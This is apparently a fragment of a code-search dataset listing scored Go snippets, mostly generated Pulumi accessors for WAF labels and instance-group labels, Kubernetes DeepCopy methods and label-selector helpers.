WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementAndStatementStatementLabelMatchStatementPtrOutput {\n\treturn o.ApplyT(func(v WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementAndStatementStatement) *WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementAndStatementStatementLabelMatchStatement {\n\t\treturn v.LabelMatchStatement\n\t}).(WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementAndStatementStatementLabelMatchStatementPtrOutput)\n}", "title": "" }, { "docid": "728b2435d6c297dd8637b1869aad6027", "score": "0.45791066", "text": "func (m MatchingLabelsSelector) ApplyToList(opts *client.ListOptions) {\n\topts.LabelSelector = m\n}", "title": "" }, { "docid": "728b2435d6c297dd8637b1869aad6027", "score": "0.45791066", "text": "func (m MatchingLabelsSelector) ApplyToList(opts *client.ListOptions) {\n\topts.LabelSelector = m\n}", "title": "" }, { "docid": "7636bdca7126e35f3b7f2a3e277ace9d", "score": "0.45764965", "text": "func (o InstanceGroupManagerAllInstancesConfigOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v InstanceGroupManagerAllInstancesConfig) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "ffa7ce1951368cf65cc37e365a49d1e7", "score": "0.4572482", "text": "func (o LookupAttributeResultOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v LookupAttributeResult) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "78e3afe4337022b2803717cfa2912c23", "score": "0.45620275", "text": "func (o LookupGroupResultOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v LookupGroupResult) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "fd7f6a9ef480e13185c14422fedc85c2", "score": "0.45614222", "text": "func (l Label) LabelSelector() *metav1.LabelSelector {\n\treturn &metav1.LabelSelector{MatchLabels: l}\n}", "title": "" }, { "docid": "fd7f6a9ef480e13185c14422fedc85c2", "score": "0.45614222", "text": "func (l Label) LabelSelector() *metav1.LabelSelector {\n\treturn &metav1.LabelSelector{MatchLabels: l}\n}", "title": "" }, { "docid": "a498c35bc561836035388ee77de73a78", "score": "0.45528796", "text": "func (a *AndroidFarm) MatchingLabels() client.MatchingLabels {\n\treturn client.MatchingLabels{DeviceFarmLabel: a.Name}\n}", "title": "" }, { "docid": "77eee63abf5c1baea1ffe23ca8f8fd0f", "score": "0.45502132", "text": "func (o InstanceGroupManagerAllInstancesConfigPtrOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v *InstanceGroupManagerAllInstancesConfig) map[string]string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Labels\n\t}).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "c5d0f7f232fac21ee28b451f88e28182", "score": "0.45457515", "text": "func MatchLabelForLabelSelector(targetLabels map[string]string, labelSelector *metav1.LabelSelector) bool {\n\tselector, err := ConvertLabels(labelSelector)\n\tif err != nil {\n\t\t// this should not happen if the workset passed validation\n\t\treturn false\n\t}\n\tif selector.Matches(labels.Set(targetLabels)) {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "0508e9c4e03def38a421de08ca331923", "score": "0.45431873", "text": "func (in *VirtualNetworkRule) DeepCopy() *VirtualNetworkRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(VirtualNetworkRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "42ce80fdd48af65271689b57534336b8", "score": "0.45391208", "text": "func (in *AzureBackupRule) DeepCopy() *AzureBackupRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(AzureBackupRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "01aabe1f9be1ca51c5a874f6f245d0bf", "score": "0.45374304", "text": "func (o ThanosRulerSpecPtrOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v *ThanosRulerSpec) map[string]string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Labels\n\t}).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "4544afb3b8e5e6332631180c7ab2ee72", "score": "0.4533821", "text": "func (o WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementNotStatementStatementOutput) LabelMatchStatement() WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementNotStatementStatementLabelMatchStatementPtrOutput {\n\treturn o.ApplyT(func(v WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementNotStatementStatement) *WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementNotStatementStatementLabelMatchStatement {\n\t\treturn v.LabelMatchStatement\n\t}).(WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementNotStatementStatementLabelMatchStatementPtrOutput)\n}", "title": "" }, { "docid": "1fd17e29f8dcb919ff9b23d521a00ffc", "score": "0.45289764", "text": "func (in *DNSResponsePolicyRuleSpec) DeepCopy() *DNSResponsePolicyRuleSpec {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DNSResponsePolicyRuleSpec)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "c83da5fbcd5d6bda641a6411d2b9517e", "score": "0.45229366", "text": "func (o RegionInstanceGroupManagerAllInstancesConfigPtrOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v *RegionInstanceGroupManagerAllInstancesConfig) map[string]string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Labels\n\t}).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "1771a858e8b11e707efe014708011377", "score": "0.45173708", "text": "func (o RegionInstanceGroupManagerAllInstancesConfigOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v RegionInstanceGroupManagerAllInstancesConfig) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "425cd426e26351b3d28c78ece3059874", "score": "0.45170173", "text": "func (in *BGPFilterRuleV6) DeepCopy() *BGPFilterRuleV6 {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(BGPFilterRuleV6)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "6b545d8ebcc05b7eb9fd9c1676e306a4", "score": "0.4503107", "text": "func (o WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementOutput) LabelMatchStatement() WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementLabelMatchStatementPtrOutput {\n\treturn o.ApplyT(func(v WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatement) *WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementLabelMatchStatement {\n\t\treturn v.LabelMatchStatement\n\t}).(WebAclRuleStatementManagedRuleGroupStatementScopeDownStatementAndStatementStatementLabelMatchStatementPtrOutput)\n}", "title": "" }, { "docid": "dccd15b109d522f7147fcf3e9e406c68", "score": "0.4493325", "text": "func (in *ServersIPV6FirewallRule) DeepCopy() *ServersIPV6FirewallRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(ServersIPV6FirewallRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "95ef1a95433c5cdb329db3ede4cf4d67", "score": "0.4491048", "text": "func (in *DNSResponsePolicyRuleStatus) DeepCopy() *DNSResponsePolicyRuleStatus {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DNSResponsePolicyRuleStatus)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "9a361bd69fbcc4cf0bf829dce8fbdddb", "score": "0.44697022", "text": "func (o LookupTargetVpnGatewayResultOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v LookupTargetVpnGatewayResult) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "f06c4cdc5aabd0d5d1c1779ff2128a95", "score": "0.44635046", "text": "func (in *Match) DeepCopy() *Match {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(Match)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "c01aa87bd1ecf6dfcdd46c3493607e50", "score": "0.44624722", "text": "func NewLabeler() (l *Labeler) {\n\tl = &Labeler{\n\t\tlabelerDurationHist: prometheus.NewHistogram(prometheus.HistogramOpts{\n\t\t\tName: \"prometheus_acls_labeler_duration_seconds\",\n\t\t\tHelp: \"A Histogram which tracks the time taken to add acl labels and dedupe.\",\n\t\t\tBuckets: prometheus.ExponentialBuckets(0.001, 2, 11),\n\t\t}),\n\t\tdedupeDurationHist: prometheus.NewHistogram(prometheus.HistogramOpts{\n\t\t\tName: \"prometheus_acls_dedupe_duration_seconds\",\n\t\t\tHelp: \"A Histogram which tracks the time taken to dedupe queries.\",\n\t\t\tBuckets: prometheus.ExponentialBuckets(0.001, 2, 11),\n\t\t}),\n\t\tqueryParseHist: prometheus.NewHistogram(prometheus.HistogramOpts{\n\t\t\tName: \"prometheus_acls_parser_duration_seconds\",\n\t\t\tHelp: \"A Histogram which tracks the time taken to parse Prometheus queries.\",\n\t\t\tBuckets: prometheus.ExponentialBuckets(0.001, 2, 11),\n\t\t}),\n\t\tpromProxyHist: prometheus.NewHistogram(prometheus.HistogramOpts{\n\t\t\tName: \"prometheus_acls_reverseproxy_response_seconds\",\n\t\t\tHelp: \"A Histogram that tracks the response latency of the upstream Prometheus\",\n\t\t\tBuckets: prometheus.ExponentialBuckets(0.001, 2, 16),\n\t\t}),\n\t}\n\tprometheus.MustRegister(l.labelerDurationHist, l.queryParseHist, l.promProxyHist)\n\treturn\n}", "title": "" }, { "docid": "99a485801eccfd6f7438dda28cb3d414", "score": "0.4457951", "text": "func (in *LabTemplateStatus) DeepCopy() *LabTemplateStatus {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(LabTemplateStatus)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "f0238041375e9ea4574c3965f7bea87b", "score": "0.44527557", "text": "func (in *FirewallRule) DeepCopy() *FirewallRule {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(FirewallRule)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "f33e6e0ea9b557ba16376255e497065b", "score": "0.44507018", "text": "func (o LookupConfigResultOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v LookupConfigResult) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "70cde629a9ab7f5d32b7c18888200a16", "score": "0.44499773", "text": "func (in *RuleGroup) DeepCopy() *RuleGroup {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(RuleGroup)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "30c0969e55ba47410a5d10783142030c", "score": "0.44490135", "text": "func (o LookupInstanceResultOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v LookupInstanceResult) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "30c0969e55ba47410a5d10783142030c", "score": "0.44490135", "text": "func (o LookupInstanceResultOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v LookupInstanceResult) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "30c0969e55ba47410a5d10783142030c", "score": "0.44490135", "text": "func (o LookupInstanceResultOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v LookupInstanceResult) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "8a78eb53e6c40b982995220926565300", "score": "0.44354948", "text": "func (in *DNSResponsePolicyRuleList) DeepCopy() *DNSResponsePolicyRuleList {\n\tif in == nil {\n\t\treturn nil\n\t}\n\tout := new(DNSResponsePolicyRuleList)\n\tin.DeepCopyInto(out)\n\treturn out\n}", "title": "" }, { "docid": "8323fd47160c860e73ae140042e33fa3", "score": "0.4431189", "text": "func (o ThanosRulerSpecOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v ThanosRulerSpec) map[string]string { return v.Labels }).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "35366d0916b4a18f57a2d9ef81a8b47b", "score": "0.44265848", "text": "func (l *Labelr) Apply(sync bool, labelFile string) error {\n\t// Read label file.\n\tnewLabels, err := ParseFile(labelFile)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot parse label file: %s\", err)\n\t}\n\n\t// Delete existing labels if need be.\n\tif sync {\n\t\tif err := l.DeleteLabels(); err != nil {\n\t\t\treturn fmt.Errorf(\"cannot delete labels: %s\", err)\n\t\t}\n\t}\n\n\t// Go through the labels from the file.\n\tfor _, label := range newLabels.Labels {\n\t\tcolor := strings.Replace(label.Color, \"#\", \"\", -1)\n\n\t\t// Convert labels to `github.Label`.\n\t\tghLabel := &github.Label{\n\t\t\tName: &label.Name,\n\t\t\tColor: &color,\n\t\t\tDescription: &label.Description,\n\t\t}\n\n\t\t// Create labels.\n\t\tctx := context.Background()\n\t\t_, r, err := l.Client.Issues.CreateLabel(ctx, l.Owner, l.Repository, ghLabel)\n\n\t\t// Update the label if the it already exists.\n\t\tif r.StatusCode == 422 {\n\t\t\tif _, _, err := l.Client.Issues.EditLabel(ctx, l.Owner, l.Repository, *ghLabel.Name, ghLabel); err != nil {\n\t\t\t\treturn fmt.Errorf(\"cannot update label: %s\", err)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "26609f854db481427575ae472cbcf1cb", "score": "0.44196934", "text": "func LabelsMatchFor(l map[string]string, labelSelector *metav1.LabelSelector) bool {\n\tselector, err := metav1.LabelSelectorAsSelector(labelSelector)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn selector.Matches(labels.Set(l))\n}", "title": "" }, { "docid": "461d6428665689736c9c12035947abd7", "score": "0.44183755", "text": "func (o ThanosRulerSpecPodMetadataPtrOutput) Labels() pulumi.StringMapOutput {\n\treturn o.ApplyT(func(v *ThanosRulerSpecPodMetadata) map[string]string {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.Labels\n\t}).(pulumi.StringMapOutput)\n}", "title": "" }, { "docid": "88ec4ea18dcf85778de09eb286dad2f2", "score": "0.44117385", "text": "func (mc *CountersWithMultiLabels) Labels() []string {\n\treturn mc.labels\n}", "title": "" } ]
1494faa75d192502468c0527c93b6584
SetWorkteamArn sets the WorkteamArn field's value.
[ { "docid": "f2171a45778b97184b80fc5426be146f", "score": "0.8488533", "text": "func (s *Workteam) SetWorkteamArn(v string) *Workteam {\n\ts.WorkteamArn = &v\n\treturn s\n}", "title": "" } ]
[ { "docid": "d9407924ff2b67403b31fb2f65f35e4b", "score": "0.8750623", "text": "func (s *HumanTaskConfig) SetWorkteamArn(v string) *HumanTaskConfig {\n\ts.WorkteamArn = &v\n\treturn s\n}", "title": "" }, { "docid": "37201ced64905e8f00e71d3363ba4d53", "score": "0.8712852", "text": "func (s *HumanLoopConfig) SetWorkteamArn(v string) *HumanLoopConfig {\n\ts.WorkteamArn = &v\n\treturn s\n}", "title": "" }, { "docid": "57d6d7a6ee0adf1d5134b9a6d31831ee", "score": "0.8614306", "text": "func (s *CreateWorkteamOutput) SetWorkteamArn(v string) *CreateWorkteamOutput {\n\ts.WorkteamArn = &v\n\treturn s\n}", "title": "" }, { "docid": "19325dea38d90a89f892edecd2a7ad5e", "score": "0.8598951", "text": "func (s *LabelingJobSummary) SetWorkteamArn(v string) *LabelingJobSummary {\n\ts.WorkteamArn = &v\n\treturn s\n}", "title": "" }, { "docid": "1f46ce461b61ec5e4508c9858d339b20", "score": "0.85918534", "text": "func (s *DescribeSubscribedWorkteamInput) SetWorkteamArn(v string) *DescribeSubscribedWorkteamInput {\n\ts.WorkteamArn = &v\n\treturn s\n}", "title": "" }, { "docid": "14a80708889fb0a357748bb69b8c482f", "score": "0.8526436", "text": "func (s *SubscribedWorkteam) SetWorkteamArn(v string) *SubscribedWorkteam {\n\ts.WorkteamArn = &v\n\treturn s\n}", "title": "" }, { "docid": "bdc56adae69e6a9da897a008352a3d26", "score": "0.8480066", "text": "func (s *ListLabelingJobsForWorkteamInput) SetWorkteamArn(v string) *ListLabelingJobsForWorkteamInput {\n\ts.WorkteamArn = &v\n\treturn s\n}", "title": "" }, { "docid": "2baf96b73e2287b35cd5263e7958affe", "score": "0.70018655", "text": "func (s *Workteam) SetWorkforceArn(v string) *Workteam {\n\ts.WorkforceArn = &v\n\treturn s\n}", "title": "" }, { "docid": "cb8205b60645fa6c3a92400dcf041468", "score": "0.6880122", "text": "func (s *CreateWorkforceOutput) SetWorkforceArn(v string) *CreateWorkforceOutput {\n\ts.WorkforceArn = &v\n\treturn s\n}", "title": "" }, { "docid": "49f36f338ed1432bc6f83bee400a55ea", "score": "0.67522275", "text": "func (s *Workforce) SetWorkforceArn(v string) *Workforce {\n\ts.WorkforceArn = &v\n\treturn s\n}", "title": "" }, { "docid": "7550860ee1399dd171554de5d0a78dc9", "score": "0.66658336", "text": "func (s *Workgroup) SetWorkgroupArn(v string) *Workgroup {\n\ts.WorkgroupArn = &v\n\treturn s\n}", "title": "" }, { "docid": "da489ba2ca9535c80aa8ee7894d7cc7e", "score": "0.6087094", "text": "func (s *UpdateWorkteamOutput) SetWorkteam(v *Workteam) *UpdateWorkteamOutput {\n\ts.Workteam = v\n\treturn s\n}", "title": "" }, { "docid": "d4df1a78b6192b46d21d7c8a646ce24e", "score": "0.6048025", "text": "func (s *DescribeWorkteamOutput) SetWorkteam(v *Workteam) *DescribeWorkteamOutput {\n\ts.Workteam = v\n\treturn s\n}", "title": "" }, { "docid": "2d15fb72a204589d36f2356785ee3558", "score": "0.5975979", "text": "func (s *GetWorkspaceOutput) SetArn(v string) *GetWorkspaceOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "e596d4ced490d2a833e503a86a11deec", "score": "0.5949347", "text": "func (s *CreateWorkspaceOutput) SetArn(v string) *CreateWorkspaceOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "2a63a49c09cfaa2a11dbef27d7da6080", "score": "0.58257914", "text": "func (s *Failure) SetArn(v string) *Failure {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "436891ef7ef1faabf05c2ad47b236126", "score": "0.5817501", "text": "func (s *DescribeInferenceExperimentOutput) SetArn(v string) *DescribeInferenceExperimentOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "ba8ca151023322796f5a36dacaa01b98", "score": "0.58156496", "text": "func (s *CreateRunGroupOutput) SetArn(v string) *CreateRunGroupOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "3b0552c0e7c0e93ae97cbc82f1d97382", "score": "0.5795077", "text": "func (s *PutFirewallRuleGroupPolicyInput) SetArn(v string) *PutFirewallRuleGroupPolicyInput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "06c7dff42fb22b07b50fab81006c0ddd", "score": "0.5787619", "text": "func (s *WorkspaceSummary) SetArn(v string) *WorkspaceSummary {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "676df9a17ddca0e862673942d8f7ab32", "score": "0.5786693", "text": "func (s *GetRunGroupOutput) SetArn(v string) *GetRunGroupOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "697250ea2855d7d43990ef1a029eca1e", "score": "0.5776865", "text": "func (s *GetRevisionOutput) SetArn(v string) *GetRevisionOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "ddd9845a8eec4393e03d79a842b52d93", "score": "0.57350594", "text": "func (s *GetRunOutput) SetArn(v string) *GetRunOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "9b0eab34c77d4e621394812932981baf", "score": "0.57266796", "text": "func (s *CreateRevisionOutput) SetArn(v string) *CreateRevisionOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "61cfa75b102a48ccc94dbe546999885f", "score": "0.57211107", "text": "func (s *GetFirewallRuleGroupPolicyInput) SetArn(v string) *GetFirewallRuleGroupPolicyInput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "4b5f58ca3f7fb24b151851ccdfbbc889", "score": "0.5697864", "text": "func (s *GetSyncJobOutput) SetArn(v string) *GetSyncJobOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "9e99a1958cdd56de1bdaba6004b3e14e", "score": "0.569298", "text": "func (s *CreateChannelOutput) SetArn(v string) *CreateChannelOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "faeda7fd2d6288c37095e23d4d606c03", "score": "0.56887496", "text": "func (s *CreateProgramOutput) SetArn(v string) *CreateProgramOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "d73ae8dba229c323ae12006633aeef4b", "score": "0.56857264", "text": "func (s *StopReplicationOutput) SetArn(v string) *StopReplicationOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "1ba0b5271096a9b05ac8efce7f93b861", "score": "0.56827444", "text": "func (s *CreateLaunchConfigurationTemplateOutput) SetArn(v string) *CreateLaunchConfigurationTemplateOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "c13e7d084e3a491ce7315639daa13e89", "score": "0.56696284", "text": "func (s *DescribeProgramOutput) SetArn(v string) *DescribeProgramOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "5745da7b1f8be4623e60b35614aa1407", "score": "0.5665998", "text": "func (s *ChangeServerLifeCycleStateOutput) SetArn(v string) *ChangeServerLifeCycleStateOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "805e63a22e15091a755aa4fd4483ee19", "score": "0.5657673", "text": "func (s *GetWorkflowOutput) SetArn(v string) *GetWorkflowOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "339455b0a66e90e4f0c5ef89f7734aa6", "score": "0.56573975", "text": "func (s *RevokeRevisionOutput) SetArn(v string) *RevokeRevisionOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "5542387295246f32c9842772142805a1", "score": "0.56572175", "text": "func (s *UpdateRevisionOutput) SetArn(v string) *UpdateRevisionOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "fa468f65043b875181a408ec3ee65861", "score": "0.5652548", "text": "func (s *CreateReplicationConfigurationTemplateOutput) SetArn(v string) *CreateReplicationConfigurationTemplateOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "96feede5618c24995e78d4c5dc173fe8", "score": "0.5652164", "text": "func (s *UpdateChannelOutput) SetArn(v string) *UpdateChannelOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "ee09b1c1a015095ba548963b65e39041", "score": "0.5647267", "text": "func (s *CreateSyncJobOutput) SetArn(v string) *CreateSyncJobOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "88962170329cfc8164996bc50aa04b21", "score": "0.5647121", "text": "func (s *UpdateReplicationConfigurationTemplateInput) SetArn(v string) *UpdateReplicationConfigurationTemplateInput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "d3c1b0bc6fcb8bbc56fd8fea9cc74543", "score": "0.5636191", "text": "func (s *PutResolverQueryLogConfigPolicyInput) SetArn(v string) *PutResolverQueryLogConfigPolicyInput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "08244ba61b936baa0c7dd53e76768a63", "score": "0.5630857", "text": "func (s *GetDataSetOutput) SetArn(v string) *GetDataSetOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "444784ad0cd393a34be5e26d9d60c6c3", "score": "0.56264573", "text": "func (s *UpdateProgramOutput) SetArn(v string) *UpdateProgramOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "0ca39dd29e02a3b1154f212476b4122a", "score": "0.5625268", "text": "func (s *GetTaskTemplateOutput) SetArn(v string) *GetTaskTemplateOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "9aad625182b76ba3b0804ba7b3461856", "score": "0.56250495", "text": "func (s *UpdateLaunchConfigurationTemplateOutput) SetArn(v string) *UpdateLaunchConfigurationTemplateOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "3ed4e1da59de978e46f34e9ebb7b8a43", "score": "0.562394", "text": "func (s *GetJobOutput) SetArn(v string) *GetJobOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "b7dc37ccb9aff392a17f3a3564954726", "score": "0.56186795", "text": "func (s *CreateTrafficDistributionGroupOutput) SetArn(v string) *CreateTrafficDistributionGroupOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "6fb90a01a7e6cd6addeb4ff437ff9b15", "score": "0.5614519", "text": "func (s *CreateDataSetOutput) SetArn(v string) *CreateDataSetOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "10e610288032e9268ca622f87d410e0b", "score": "0.5609675", "text": "func (s *GetEntityOutput) SetArn(v string) *GetEntityOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "0aca187d5cd638b57c69f95d37f4149d", "score": "0.5609426", "text": "func (s *Channel) SetArn(v string) *Channel {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "ef8a5cb8942550bd19252171a0154d0b", "score": "0.5609381", "text": "func (s *DescribeChannelOutput) SetArn(v string) *DescribeChannelOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "72b66d78507ce97c02d0fdc1b6e08838", "score": "0.56009114", "text": "func (s *GetReferenceMetadataOutput) SetArn(v string) *GetReferenceMetadataOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "741f02dbb16dda36979bcaaf3ea49c00", "score": "0.5596653", "text": "func (s *DescribeSourceLocationOutput) SetArn(v string) *DescribeSourceLocationOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "6e4bc55223ddf53da4e3d9e25a29f075", "score": "0.55839044", "text": "func (s *CreateSourceLocationOutput) SetArn(v string) *CreateSourceLocationOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "0896e21010db3547d6b38bf5e00dfb45", "score": "0.5582482", "text": "func (s *UpdateReplicationConfigurationTemplateOutput) SetArn(v string) *UpdateReplicationConfigurationTemplateOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "d27b5781956575a54558c5048e280ef1", "score": "0.55816585", "text": "func (s *GetEventActionOutput) SetArn(v string) *GetEventActionOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "d258c51b212fc6e81dba076d8c72db03", "score": "0.55801624", "text": "func (s *CreatePrefetchScheduleOutput) SetArn(v string) *CreatePrefetchScheduleOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "4b26839c0099e2c8aaa0ff4df0e9d4c8", "score": "0.5577316", "text": "func (s *CreateEntityOutput) SetArn(v string) *CreateEntityOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "e25a181f7dd92a67558ccef4862102dc", "score": "0.5568413", "text": "func (s *FirewallRuleGroupAssociation) SetArn(v string) *FirewallRuleGroupAssociation {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "217e887467ee56f7883c1376a919ab27", "score": "0.55684054", "text": "func (s *CreateIndexOutput) SetArn(v string) *CreateIndexOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "22b7d805dafe34f9649b29468c58e0b8", "score": "0.5567925", "text": "func (s *GetPrefetchScheduleOutput) SetArn(v string) *GetPrefetchScheduleOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "45c7381ce52bb147de728f7c6760b51b", "score": "0.556752", "text": "func (s *GetResolverQueryLogConfigPolicyInput) SetArn(v string) *GetResolverQueryLogConfigPolicyInput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "3b69a8cb2c51fb95753aedee8aaf1b61", "score": "0.5567436", "text": "func (s *RepositoryBranch) SetArn(v string) *RepositoryBranch {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "f270fdaeb5d06472befb493b46280e43", "score": "0.55656695", "text": "func (s *RunListItem) SetArn(v string) *RunListItem {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "04edb4c5ff4e36d46e2900c087f3b111", "score": "0.556383", "text": "func (s *CreateJobOutput) SetArn(v string) *CreateJobOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "ce606eb4de02674873fa3299894023b0", "score": "0.55632764", "text": "func (s *CreateWorkflowOutput) SetArn(v string) *CreateWorkflowOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "37b491b4a2e1d1c615a227fa4f837c0f", "score": "0.55626935", "text": "func (s *GetIndexOutput) SetArn(v string) *GetIndexOutput {\n\ts.Arn = &v\n\treturn s\n}", "title": "" }, { "docid": "fade944fba0e2b24458aa7a0ac8a8dab", 